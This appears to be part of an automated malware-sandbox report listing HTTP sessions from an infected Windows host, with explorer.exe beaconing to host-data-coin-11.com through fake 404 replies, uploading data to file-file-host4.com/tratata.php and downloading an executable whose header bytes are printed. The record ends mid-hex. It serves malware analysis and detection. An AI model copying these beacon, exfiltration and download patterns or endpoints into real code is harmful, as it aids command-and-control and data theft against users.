Dec 28, 2021 05:19:05.152545929 CET	3967	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49744	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:39.398152113 CET	1166	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ycifwuti.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 218 Host: host-data-coin-11.com
Dec 28, 2021 05:18:39.521003962 CET	1167	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f7 1a b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49802	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:05.251930952 CET	3968	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eoepn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 146 Host: host-data-coin-11.com
Dec 28, 2021 05:19:05.365952015 CET	3969	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49803	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:05.473021984 CET	3970	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jrhtrk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 248 Host: host-data-coin-11.com
Dec 28, 2021 05:19:05.593245983 CET	3973	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49811	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:12.566554070 CET	11840	OUT	POST /tratata.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----A1VKFU3EKF3E3790 Host: file-file-host4.com Content-Length: 104449 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=3a2jv90p7dncfvulq2s4utiio9
Dec 28, 2021 05:19:13.314815044 CET	11951	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Tue, 28 Dec 2021 04:19:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49822	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:28.089904070 CET	12477	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jwibqkk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 355 Host: host-data-coin-11.com
Dec 28, 2021 05:19:28.206389904 CET	12478	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49823	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:28.400724888 CET	12479	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xnipfqvpe.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 354 Host: host-data-coin-11.com
Dec 28, 2021 05:19:28.518903017 CET	12480	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4c ee af 88 70 bc 57 dd 42 d0 fc 25 84 26 e8 c3 90 52 2e ee a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9LpWB%&R.c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49824	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:28.907268047 CET	12481	OUT	GET /files/2264_1640622147_2258.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Dec 28, 2021 05:19:29.004529953 CET	12482	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:28 GMT Content-Type: application/x-msdos-program Content-Length: 844800 Connection: close Last-Modified: Mon, 27 Dec 2021 16:22:27 GMT ETag: "ce400-5d4231c541a6e" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 92 ed 9f 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 9e 0b 00 00 26 09 00 00 00 00 00 30 ee 09 00 00 10 00 00 00 b0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 48 00 00 04 00 00 92 c0 0d 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 9c 0b 00 28 00 00 00 00 40 14 00 90 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 28 21 00 00 60 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b0 9d 0b 00 00 10 00 00 00 9e 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 b0 0b 00 00 8c 00 00 00 a2 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 68 75 77 75 00 00 00 05 00 00 00 00 20 14 00 00 02 00 00 00 2e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 73 61 78 00 00 00 00 93 0d 00 00 00 30 14 00 00 0e 00 00 00 30 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 90 b2 33 00 00 40 14 00 00 64 00 00 00 3e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 40 00 00 00 00 48 00 00 42 00 00 00 a2 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 9f 0b 00 74 9f 0b 00 88 9f 0b 00 9a 9f 0b 00 ac 9f 0b 00 c2 9f 0b 00 d2 9f 0b 00 e8 9f 0b 00 f8 9f 0b 00 14 a0 0b 00 28 a0 0b 00 3c a0 0b 00 52 a0 0b 00 6c Data Ascii: MZ@!L!This program cannot be run in DOS mode.$@@@/LQ/x*IAC@/yv/HA/OARich@PEL_&0@PHL(@bH(!`@.text `.dataho@.huwu .@.sax00@.rsrc3@d>@@.reloc@HB@BXt(<Rl

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49825	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:31.576612949 CET	13362	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yifcjya.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 123 Host: host-data-coin-11.com
Dec 28, 2021 05:19:31.697882891 CET	13363	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49826	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:31.795116901 CET	13363	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rxxfahr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 279 Host: host-data-coin-11.com
Dec 28, 2021 05:19:31.913069010 CET	13364	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49827	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:32.011007071 CET	13365	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vfpht.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: host-data-coin-11.com
Dec 28, 2021 05:19:32.129422903 CET	13365	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49828	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:32.264918089 CET	13366	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://adqghmyhj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 129 Host: host-data-coin-11.com
Dec 28, 2021 05:19:32.375880957 CET	13367	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49745	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:39.966197014 CET	1168	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vnfvs.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 363 Host: host-data-coin-11.com
Dec 28, 2021 05:18:40.074943066 CET	1168	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	49829	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:32.474684000 CET	13367	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hujcrsouk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 126 Host: host-data-coin-11.com
Dec 28, 2021 05:19:32.587661028 CET	13368	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	49830	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:32.721321106 CET	13369	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mketq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 347 Host: host-data-coin-11.com
Dec 28, 2021 05:19:32.863799095 CET	13370	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 